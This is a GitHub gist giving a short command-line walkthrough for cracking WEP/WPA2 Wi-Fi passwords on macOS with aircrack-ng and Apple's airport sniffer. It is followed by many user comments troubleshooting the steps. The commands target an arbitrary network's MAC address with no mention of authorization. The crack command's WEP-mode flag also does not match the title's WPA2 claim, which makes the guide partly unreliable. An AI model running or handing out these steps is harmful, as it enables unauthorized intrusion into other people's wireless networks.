Skip to content

Instantly share code, notes, and snippets.

@victorreyesh
Created September 12, 2013 03:36
Show Gist options
  • Select an option

  • Save victorreyesh/6532800 to your computer and use it in GitHub Desktop.

Select an option

Save victorreyesh/6532800 to your computer and use it in GitHub Desktop.
Cracking WPA2 / WEP Wifi / Aircrack 10 seconds guide. For Mac OSX
//Install Macports.
//Install aircrack-ng:
sudo port install aircrack-ng
//Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
//New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
@Emixam23

Copy link
Copy Markdown

So stupid, I found why it happens.

Based on [THIS LINK], it seems like en1 is the interface of Wireless only when you have an ethernet port. On my MacBook Pro, I don't, so en0 is the only one I have !

sudo airport en0 sniff [CHANNEL]

Hopefully it helps !

@Gaaal

Gaaal commented Oct 21, 2017

Copy link
Copy Markdown

How do I add a dictionary? Is Jack the Ripper good enough?

@galaxy-nomad

Copy link
Copy Markdown

Hello how do I sniff with airport and use aircrack-ng using an Alfa AWUS036AC USB 3.0 adapter on a MacBook Pro? When I type ifconfig in Terminal my USB wifi adapter doesn't show up.

@hanhmr

hanhmr commented Oct 30, 2017

Copy link
Copy Markdown

Dear admin,

How to see CAP_FILE? I have try to understand noted: the cap_file will be located in the /tmp/airportSniff*.cap. but don't know how to see them, pls help!

Thanks a lot

(aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.

@VhaTer

VhaTer commented Dec 3, 2017

Copy link
Copy Markdown

-i got a macbook air and guess i ask my self same thing how to do kali stuff natively on macos why im here

perhaps you already find this
1- http://jason4zhu.blogspot.fr/2014/12/crack-wep-wifi-via-aircrack-ng-in-mac-osx.html
2- https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html ( this article Link to your Notes Here ^^)

@RahulDhiman93

RahulDhiman93 commented Dec 14, 2017

Copy link
Copy Markdown

symlink is not working
NO SUCH FILE OR DIRECTORY

ghost commented Jan 7, 2018

Copy link
Copy Markdown

It say : No valid WPA handshakes found.
What can i do ? :(

@jpacora

jpacora commented Jan 28, 2018

Copy link
Copy Markdown

The command will be:

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

@MrPeker

MrPeker commented Feb 1, 2018

Copy link
Copy Markdown

airport command not found :/

@chezis45

chezis45 commented Feb 9, 2018

Copy link
Copy Markdown

sudo su -
ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

Worked for me when I got airport command not found and operation not possible.

@weltmoasta

Copy link
Copy Markdown

i cant find the Cap_File because i have no folder like tmp. can anyone help me pls?

@char543

char543 commented Feb 21, 2018

Copy link
Copy Markdown

@weltmoasta navigate to /tmp in finder

@char543

char543 commented Feb 21, 2018

Copy link
Copy Markdown

also make sure youre typing .cap and not .cap. (the extra dot is what threw me)

@AramSemerjyan

AramSemerjyan commented Mar 27, 2018

Copy link
Copy Markdown

Mac has built in sniffer for getting handshakes, why airport is needed for that? Also I'm wondering is the aircrack mechanism based on getting handshakes and after try to recover password from hccapx with hashcat?

@iamsoorajsingh

Copy link
Copy Markdown

command not found

@ralyodio

Copy link
Copy Markdown

what is the target mac address?

@Eastkap

Eastkap commented Aug 12, 2018

Copy link
Copy Markdown

mac address is the same as bssid @chovy

@Tetsu51718

Copy link
Copy Markdown

can"t find [CAP_FILE]
pls help

@Tetsu51718

Copy link
Copy Markdown

$ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
ln: /usr/local/bin/airport: File exists
$ aircrack-ng -1 -a 1 -b
-bash: aircrack-ng: command not found
$ brew install aircrack-ng
Warning: aircrack-ng 1.4 is already installed, it's just not linked
You can use brew link aircrack-ng to link this version.
$ brew link aircrack-ng
Linking /usr/local/Cellar/aircrack-ng/1.4...
Error: Could not symlink sbin/airbase-ng
/usr/local/sbin is not writable.

what should do,, pls

@DamonOnYT

DamonOnYT commented Nov 18, 2018

Copy link
Copy Markdown

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

says "ln: /usr/sbin/airport: Operation not permitted"

@DamonOnYT

Copy link
Copy Markdown

quick google solved it

for anyone w/ the same issue the command is

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

@mzychinav

Copy link
Copy Markdown

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?

@madmike121989

Copy link
Copy Markdown

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution? i'm having the same issue

@fungmen

fungmen commented Jan 9, 2019

Copy link
Copy Markdown

more easy when i'm installing kali on macbook air, i can scan and crack the handshake more faster beside debugging the OSX ^_^!

@mikediachenko

Copy link
Copy Markdown

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?

The same stuff.

@shsunmoonlee

shsunmoonlee commented Aug 8, 2019

Copy link
Copy Markdown

First attempt failed.
➜ Clients airport en0 sniff 4
Could not open device en0 (en0: You don't have permission to capture on that device ((cannot open BPF device) /dev/bpf0: Permission denied)).

Second attempt failed
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap
tcpdump: en1: That device doesn't support monitor mode

@khyanatun

Copy link
Copy Markdown

$aircrack-ng -1 -a 1 -b "Mac address" "CAP_FILE"
Reading packets, please wait...
Opening "CAP_FILE"
Failed to open "CAP_FILE' : No such file or directory


someone, please help cap file won't open

@SenorReyez

Copy link
Copy Markdown

You need to define "CAP_FILE" as the path example /path/to/cap_file.cap

@lmancini1

Copy link
Copy Markdown

what is the path to the cap file I cant find a top folder with airportsniff in it

@Nene020911

Copy link
Copy Markdown

Reading packets, please wait...
Opening /tmp/airportSniff*.cap
Failed to open '/tmp/airportSniff*.cap' (2): No such file or directory
any help?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment